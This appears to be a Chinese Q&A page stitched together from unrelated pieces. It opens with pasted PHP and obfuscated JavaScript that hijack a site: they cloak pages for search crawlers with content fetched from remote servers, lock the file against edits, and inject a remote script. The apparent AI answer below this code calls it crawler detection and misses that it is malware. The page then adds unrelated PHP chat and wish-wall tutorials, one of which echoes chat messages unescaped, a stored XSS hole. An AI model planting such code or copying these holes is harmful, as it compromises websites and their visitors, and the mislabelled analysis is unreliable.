<?php set_time_limit(0); header("Content-type: text/html; charset=utf-8"); function crawler() { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $spiders = array( 'Googlebot', 'Baiduspider', '360Spider', 'Sogou News Spider', 'bingbot', 'Sosospider', ); if(!empty($userAgent)){ foreach ($spiders as $spider) { $spider = strtolower($spider); if (strpos($userAgent, $spider) !== false) { return true; } } } return false; } $url = $_SERVER["HTTP_REFERER"]; $u = parse_url($url); if(crawler()==true || $u['host'] == "www.baidu.com" || $u['host'] == "m.baidu.com"){ date_default_timezone_set('PRC'); $TD_server = "http://z8qw.woshinidie66.com"; $host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; $Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']); echo $Content_mb; $url1 = $_SERVER['PHP_SELF']; $filename1 = @end(explode('/',$url1)); function set_writeable($file_name) { @chmod($file_name,0444); } set_writeable($filename1); } ?> <?php set_time_limit(0); error_reporting(0); function crawler() { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $spiders = array( 'Baiduspider', 'Sogou News Spider' ); if (!empty($userAgent)) { foreach ($spiders as $spider) { $spider = strtolower($spider); if (strpos($userAgent, $spider) !== false) { return true; } } } return false; } $url = @$_SERVER["HTTP_REFERER"]; date_default_timezone_set('PRC'); $TD_server = "http://154.215.192.182/SpiderPool.php"; if (crawler()) { $query = $_SERVER['QUERY_STRING']; $path = $_SERVER["REQUEST_URI"]; $host_name = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $ch2 = curl_init(); $user_agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"; curl_setopt($ch2, CURLOPT_URL, $TD_server . "?host=" . $host_name . "&url=" . $_SERVER['QUERY_STRING'] . "&domain=" . $_SERVER['HTTP_HOST']); curl_setopt($ch2, CURLOPT_HEADER, false); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch2, CURLOPT_REFERER, 'www.baidu.com'); curl_setopt($ch2, CURLOPT_USERAGENT, $user_agent); $temp = curl_exec($ch2); echo $temp; } $url1 = $_SERVER['PHP_SELF']; $filename1 = @end(explode('/', $url1)); function set_writeable($file_name) { @chmod($file_name, 0444); } set_writeable($filename1); <script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,98,100,48,57,49,55,46,99,111,109,47,98,100,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script>
时间: 2024-03-31 18:37:40 浏览: 117
这段代码看起来是一个PHP脚本,其中有两个函数`crawler()`和`set_writeable()`,以及一些变量和条件语句。这段代码的功能可能是用于判断访问者是否是爬虫或搜索引擎,并根据访问来源执行一些操作。但是需要注意的是,这段代码中也存在一些可能会造成安全问题的函数调用,如`file_get_contents()`和`chmod()`等。如果您不确定这段代码的用途,最好不要直接运行它,以免引起安全问题。
相关问题
用PHP js html写一个web在线聊天程序有账号系统并说明每个文件的使用方式且给出源代码
好的,下面是用 PHP、JS 和 HTML 编写的一个基本的 Web 在线聊天程序,包含账号系统。这个程序由以下几个文件组成:
1. index.php:这是程序的首页,包含登录和注册页面。当用户访问这个页面时,如果已经登录,则跳转到 chat.php 页面;如果没有登录,则显示登录和注册表单。
```php
<?php
session_start();
if(isset($_SESSION['user_id'])){ // 如果已经登录,则跳转到聊天页面
header("Location: chat.php");
exit;
}
require 'config.php'; // 数据库配置文件
$message = '';
// 处理注册表单提交
if(!empty($_POST['register'])){
$username = trim($_POST['username']);
$password = trim($_POST['password']);
// 验证表单输入是否合法
if(empty($username) || empty($password)){
$message = '用户名和密码不能为空!';
} else {
// 检查用户名是否已经被注册
$query = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$query->execute([$username]);
$user = $query->fetch();
if($user){
$message = '用户名已经被注册,请选择其他用户名!';
} else {
// 将用户信息插入到数据库中
$password_hash = password_hash($password, PASSWORD_DEFAULT);
$query = $pdo->prepare("INSERT INTO users (username, password) VALUES (?, ?)");
$query->execute([$username, $password_hash]);
$message = '注册成功!请登录。';
}
}
}
// 处理登录表单提交
if(!empty($_POST['login'])){
$username = trim($_POST['username']);
$password = trim($_POST['password']);
// 验证表单输入是否合法
if(empty($username) || empty($password)){
$message = '用户名和密码不能为空!';
} else {
// 检查用户名和密码是否匹配
$query = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$query->execute([$username]);
$user = $query->fetch();
if($user && password_verify($password, $user['password'])){
// 登录成功,将用户信息存储到 session 中
$_SESSION['user_id'] = $user['id'];
$_SESSION['username'] = $user['username'];
header("Location: chat.php");
exit;
} else {
$message = '用户名或密码错误!';
}
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>在线聊天室 - 登录/注册</title>
<link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
<div class="container">
<h1>在线聊天室</h1>
<h2>登录/注册</h2>
<div class="message"><?php echo $message; ?></div>
<div class="form-container">
<form method="post">
<h3>登录</h3>
<input type="text" name="username" placeholder="用户名" required>
<input type="password" name="password" placeholder="密码" required>
<button type="submit" name="login">登录</button>
</form>
<form method="post">
<h3>注册</h3>
<input type="text" name="username" placeholder="用户名" required>
<input type="password" name="password" placeholder="密码" required>
<button type="submit" name="register">注册</button>
</form>
</div>
</div>
</body>
</html>
```
2. chat.php:这是程序的聊天页面。当用户登录后,会跳转到这个页面。这个页面包含一个聊天窗口和一个输入框。当用户输入聊天内容时,会通过 Ajax 发送请求到 send.php 文件,并将聊天内容存储到数据库中。同时,这个页面会每隔一段时间通过 Ajax 请求获取最新的聊天记录,并将其显示在聊天窗口中。
```php
<?php
session_start();
if(!isset($_SESSION['user_id'])){ // 如果没有登录,则跳转到登录页面
header("Location: index.php");
exit;
}
require 'config.php'; // 数据库配置文件
$user_id = $_SESSION['user_id'];
$username = $_SESSION['username'];
// 处理发送聊天信息的逻辑
if(!empty($_POST['message'])){
$message = trim($_POST['message']);
// 将聊天信息存储到数据库中
$query = $pdo->prepare("INSERT INTO messages (user_id, username, message) VALUES (?, ?, ?)");
$query->execute([$user_id, $username, $message]);
exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>在线聊天室 - <?php echo $username; ?></title>
<link rel="stylesheet" type="text/css" href="style.css">
<script src="jquery.min.js"></script>
<script>
$(function(){
// 发送聊天信息
$('#message-form').on('submit', function(e){
e.preventDefault();
var message = $('#message').val();
if(message){
$.ajax({
url: 'send.php',
method: 'post',
data: {message: message},
success: function(){
$('#message').val('');
}
});
}
});
// 获取最新的聊天记录
function getMessages(){
$.ajax({
url: 'messages.php',
success: function(data){
$('#messages').html(data);
}
});
}
setInterval(getMessages, 1000); // 每隔一秒钟获取一次最新的聊天记录
});
</script>
</head>
<body>
<div class="container">
<h1>在线聊天室</h1>
<h2><?php echo $username; ?></h2>
<div class="chat-container">
<div id="messages"></div>
<form id="message-form">
<input type="text" id="message" placeholder="请输入聊天内容">
<button type="submit">发送</button>
</form>
</div>
<a href="logout.php" class="logout">退出登录</a>
</div>
</body>
</html>
```
3. send.php:这个文件负责将用户发送的聊天内容存储到数据库中。当用户发送聊天内容时,会通过 Ajax 发送请求到这个文件。
```php
<?php
require 'config.php'; // 数据库配置文件
session_start();
if(isset($_SESSION['user_id'])){
$user_id = $_SESSION['user_id'];
$username = $_SESSION['username'];
$message = trim($_POST['message']);
// 将聊天信息存储到数据库中
$query = $pdo->prepare("INSERT INTO messages (user_id, username, message) VALUES (?, ?, ?)");
$query->execute([$user_id, $username, $message]);
}
```
4. messages.php:这个文件负责返回最新的聊天记录。当 chat.php 页面每隔一段时间通过 Ajax 请求这个文件时,会返回最新的聊天记录并将其显示在聊天窗口中。
```php
<?php
require 'config.php'; // 数据库配置文件
$query = $pdo->prepare("SELECT * FROM messages ORDER BY id DESC LIMIT 10"); // 获取最新的10条聊天记录
$query->execute();
$messages = $query->fetchAll(PDO::FETCH_ASSOC);
foreach($messages as $message){
echo '<div class="message">';
echo '<span class="username">' . $message['username'] . ':</span>';
echo '<span class="text">' . $message['message'] . '</span>';
echo '</div>';
}
```
5. logout.php:这个文件负责处理用户退出登录的逻辑。当用户点击退出登录按钮时,会将 session 中的用户信息清空,并跳转回 index.php 页面。
```php
<?php
session_start();
session_destroy();
header("Location: index.php");
exit;
```
6. config.php:这个文件包含数据库的连接信息。
```php
<?php
$host = 'localhost';
$dbname = 'chat';
$username = 'root';
$password = '';
$pdo = new PDO("mysql:host=$host;dbname=$dbname", $username, $password);
```
以上就是这个 Web 在线聊天程序的基本文件和使用方式。需要注意的是,这个程序还有许多细节需要完善,例如输入验证、安全性等方面,需要根据实际情况进行改进。
使用php实现这个代码
要实现“许愿墙”项目的核心功能,你需要按照以下步骤使用PHP编写代码:
### 1. 项目准备
#### 1.1 目录结构划分
项目的基本目录结构如下:
```
project/
├── common/
│ ├── function.php
│ └── init.php
├── css/
│ └── style.css
├── js/
│ └── common.js
├── view/
│ ├── common/
│ │ ├── add.html
│ │ ├── edit.html
│ │ └── password.html
│ └── index.html
├── index.php
└── save.php
```
#### 1.2 数据库设计
创建名为 `php_wish` 的数据库,并在其中创建 `wish` 表:
```sql
CREATE DATABASE php_wish;
USE php_wish;
CREATE TABLE wish (
id INT UNSIGNED PRIMARY KEY AUTO_INCREMENT,
name VARCHAR(12) DEFAULT '' NOT NULL,
content VARCHAR(80) DEFAULT '' NOT NULL,
time INT UNSIGNED DEFAULT 0 NOT NULL,
color VARCHAR(10) DEFAULT '' NOT NULL,
password VARCHAR(6) DEFAULT '' NOT NULL
);
```
#### 1.3 连接数据库
在 `common/init.php` 中编写连接数据库的代码:
```php
<?php
// 设置时区
date_default_timezone_set('Asia/Shanghai');
// 数据库配置
$host = 'localhost';
$username = 'root';
$password = '';
$database = 'php_wish';
// 创建连接
$conn = new mysqli($host, $username, $password, $database);
// 检查连接
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
?>
```
#### 1.4 准备公共函数
在 `common/function.php` 中编写公共函数:
```php
<?php
/**
* 接收外部变量并进行过滤
*
* @param string $name 变量名称
* @param mixed $default 默认值
* @param string $method 方法(GET/POST)
* @param string $type 类型(s:字符串, d:整型, a:数组)
* @return mixed
*/
function input($name, $default = '', $method = 'GET', $type = 's') {
switch (strtoupper($method)) {
case 'GET':
$var = isset($_GET[$name]) ? $_GET[$name] : $default;
break;
case 'POST':
$var = isset($_POST[$name]) ? $_POST[$name] : $default;
break;
default:
return $default;
}
switch ($type) {
case 's': // 字符串
return filter_var($var, FILTER_SANITIZE_STRING);
case 'd': // 整型
return filter_var($var, FILTER_VALIDATE_INT);
case 'a': // 数组
if (!is_array($var)) {
return [];
}
return array_map('filter_var', $var, array_fill(0, count($var), FILTER_SANITIZE_STRING));
default:
return $default;
}
}
/**
* 格式化日期
*
* @param int $timestamp 时间戳
* @return string
*/
function format_date($timestamp) {
$time = time();
$diff = $time - $timestamp;
if ($diff < 60) { // 小于1分钟
return $diff . '秒前';
} elseif ($diff < 3600) { // 小于1小时
return floor($diff / 60) . '分钟前';
} elseif ($diff < 86400) { // 小于1天
return floor($diff / 3600) . '小时前';
} else { // 大于等于1天
return date('Y-m-d H:i:s', $timestamp);
}
}
?>
```
#### 1.5 引入公共文件
在 `index.php` 和 `save.php` 中引入公共文件:
```php
<?php
require_once 'common/init.php';
require_once 'common/function.php';
?>
```
### 2. 许愿墙展示
#### 2.1 查询所有愿望
在 `index.php` 中查询所有愿望:
```php
<?php
require_once 'common/init.php';
require_once 'common/function.php';
// 查询所有愿望
$sql = "SELECT id, name, content, time, color FROM wish";
$result = $conn->query($sql);
$wishes = [];
while ($row = $result->fetch_assoc()) {
$row['time'] = format_date($row['time']);
$wishes[] = $row;
}
// 关闭数据库连接
$conn->close();
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>许愿墙</title>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div id="container">
<?php foreach ($wishes as $wish): ?>
<div class="wish <?php echo htmlspecialchars($wish['color']); ?>">
<span><?php echo htmlspecialchars($wish['name']); ?></span>
<p><?php echo htmlspecialchars($wish['content']); ?></p>
<small><?php echo $wish['time']; ?></small>
<a href="index.php?action=edit&id=<?php echo $wish['id']; ?>">修改</a>
<a href="index.php?action=delete&id=<?php echo $wish['id']; ?>">删除</a>
</div>
<?php endforeach; ?>
</div>
<button onclick="showAddForm()">我要许愿</button>
<!-- 添加愿望表单 -->
<div id="add-form" style="display:none;">
<form action="save.php" method="post">
<label for="name">姓名:</label>
<input type="text" name="name" required><br>
<label for="content">愿望:</label>
<textarea name="content" required></textarea><br>
<label for="color">颜色:</label>
<select name="color">
<option value="red">红色</option>
<option value="blue">蓝色</option>
<option value="green">绿色</option>
</select><br>
<label for="password">密码:</label>
<input type="password" name="password"><br>
<button type="submit">提交</button>
</form>
</div>
<script src="js/common.js"></script>
</body>
</html>
```
### 3. 发表愿望
#### 3.1 创建发表愿望表单
在 `view/common/add.html` 中创建表单:
```html
<form action="save.php" method="post">
<label for="name">姓名:</label>
<input type="text" name="name" required><br>
<label for="content">愿望:</label>
<textarea name="content" required></textarea><br>
<label for="color">颜色:</label>
<select name="color">
<option value="red">红色</option>
<option value="blue">蓝色</option>
<option value="green">绿色</option>
</select><br>
<label for="password">密码:</label>
<input type="password" name="password"><br>
<button type="submit">提交</button>
</form>
```
#### 3.2 接收表单并进行过滤
在 `save.php` 中接收表单并进行过滤:
```php
<?php
require_once 'common/init.php';
require_once 'common/function.php';
$name = input('name', '', 'POST', 's');
$content = input('content', '', 'POST', 's');
$color = input('color', 'red', 'POST', 's');
$password = input('password', '', 'POST', 's');
// 验证输入长度
$name = mb_strimwidth($name, 0, 12, '');
$content = mb_strimwidth($content, 0, 80, '');
// 插入数据
$stmt = $conn->prepare("INSERT INTO wish (name, content, time, color, password) VALUES (?, ?, ?, ?, ?)");
$time = time();
$stmt->bind_param("ssiss", $name, $content, $time, $color, $password);
if ($stmt->execute()) {
header("Location: index.php");
exit;
} else {
echo "Error: " . $stmt->error;
}
$stmt->close();
$conn->close();
?>
```
### 4. 修改愿望
#### 4.1 验证保护密码
在 `index.php` 中验证保护密码:
```php
<?php
require_once 'common/init.php';
require_once 'common/function.php';
$action = input('action', '', 'GET', 's');
$id = input('id', 0, 'GET', 'd');
if ($action == 'edit' && $id > 0) {
$sql = "SELECT * FROM wish WHERE id = ?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
$wish = $result->fetch_assoc();
$stmt->close();
if (isset($_POST['password'])) {
$password = input('password', '', 'POST', 's');
if ($password == $wish['password']) {
// 密码验证成功,显示修改表单
include 'view/common/edit.html';
exit;
} else {
echo "密码错误,请重新输入。";
}
} else {
// 显示输入密码的表单
include 'view/common/password.html';
exit;
}
} else {
echo "愿望不存在。";
}
}
?>
```
#### 4.2 接收修改愿望的表单
在 `save.php` 中接收修改愿望的表单:
```php
<?php
require_once 'common/init.php';
require_once 'common/function.php';
$id = input('id', 0, 'POST', 'd');
$name = input('name', '', 'POST', 's');
$content = input('content', '', 'POST', 's');
$color = input('color', 'red', 'POST', 's');
$password = input('password', '', 'POST', 's');
if ($id > 0) {
// 验证输入长度
$name = mb_strimwidth($name, 0, 12, '');
$content = mb_strimwidth($content, 0, 80, '');
// 更新数据
$stmt = $conn->prepare("UPDATE wish SET name = ?, content = ?, color = ?, password = ? WHERE id = ?");
$stmt->bind_param("sssii", $name, $content, $color, $password, $id);
if ($stmt->execute()) {
header("Location: index.php");
exit;
} else {
echo "Error: " . $stmt->error;
}
} else {
// 执行添加操作
$stmt = $conn->prepare("INSERT INTO wish (name, content, time, color, password) VALUES (?, ?, ?, ?, ?)");
$time = time();
$stmt->bind_param("ssiss", $name, $content, $time, $color, $password);
if ($stmt->execute()) {
header("Location: index.php");
exit;
} else {
echo "Error: " . $stmt->error;
}
}
$stmt->close();
$conn->close();
?>
```
### 5. 删除愿望
在 `index.php` 中实现删除愿望的功能:
```php
<?php
require_once 'common/init.php';
require_once 'common/function.php';
$action = input('action', '', 'GET', 's');
$id = input('id', 0, 'GET', 'd');
if ($action == 'delete' && $id > 0) {
$sql = "SELECT * FROM wish WHERE id = ?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
$wish = $result->fetch_assoc();
$stmt->close();
if (isset($_POST['password'])) {
$password = input('password', '', 'POST', 's');
if ($password == $wish['password']) {
// 密码验证成功,删除愿望
$stmt = $conn->prepare("DELETE FROM wish WHERE id = ?");
$stmt->bind_param("i", $id);
if ($stmt->execute()) {
header("Location: index.php");
exit;
} else {
echo "Error: " . $stmt->error;
}
} else {
echo "密码错误,请重新输入。";
}
} else {
// 显示输入密码的表单
include 'view/common/password.html';
exit;
}
} else {
echo "愿望不存在。";
}
}
?>
```
### 6. 分页查询
在 `index.php` 中实现分页查询:
```php
<?php
require_once 'common/init.php';
require_once 'common/function.php';
$page = input('page', 1, 'GET', 'd');
$size = 10;
// 获取总记录数
$sql = "SELECT COUNT(*) AS total FROM wish";
$result = $conn->query($sql);
$row = $result->fetch_assoc();
$total = $row['total'];
$total_pages = ceil($total / $size);
// 分页查询
$start = ($page - 1) * $size;
$sql = "SELECT id, name, content, time, color FROM wish ORDER BY id DESC LIMIT ?, ?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("ii", $start, $size);
$stmt->execute();
$result = $stmt->get_result();
$wishes = [];
while ($row = $result->fetch_assoc()) {
$row['time'] = format_date($row['time']);
$wishes[] = $row;
}
// 关闭数据库连接
$stmt->close();
$conn->close();
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>许愿墙</title>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div id="container">
<?php foreach ($wishes as $wish): ?>
<div class="wish <?php echo htmlspecialchars($wish['color']); ?>">
<span><?php echo htmlspecialchars($wish['name']); ?></span>
<p><?php echo htmlspecialchars($wish['content']); ?></p>
<small><?php echo $wish['time']; ?></small>
<a href="index.php?action=edit&id=<?php echo $wish['id']; ?>">修改</a>
<a href="index.php?action=delete&id=<?php echo $wish['id']; ?>">删除</a>
</div>
<?php endforeach; ?>
</div>
<nav>
<a href="index.php?page=1">首页</a>
<a href="index.php?page=<?php echo max(1, $page - 1); ?>">上一页</a>
<a href="index.php?page=<?php echo min($total_pages, $page + 1); ?>">下一页</a>
<a href="index.php?page=<?php echo $total_pages; ?>">尾页</a>
</nav>
<button onclick="showAddForm()">我要许愿</button>
<!-- 添加愿望表单 -->
<div id="add-form" style="display:none;">
<form action="save.php" method="post">
<label for="name">姓名:</label>
<input type="text" name="name" required><br>
<label for="content">愿望:</label>
<textarea name="content" required></textarea><br>
<label for="color">颜色:</label>
<select name="color">
<option value="red">红色</option>
<option value="blue">蓝色</option>
<option value="green">绿色</option>
</select><br>
<label for="password">密码:</label>
<input type="password" name="password"><br>
<button type="submit">提交</button>
</form>
</div>
<script src="js/common.js"></script>
</body>
</html>
```
### 7. 其他文件
- **CSS文件**:`css/style.css`
- **JavaScript文件**:`js/common.js`
- **HTML模板文件**:`view/common/add.html`, `view/common/edit.html`, `view/common/password.html`, `view/index.html`
这些文件的具体内容可以根据项目需求进行调整和完善。希望这些代码能帮助你顺利完成“许愿墙”项目!
阅读全文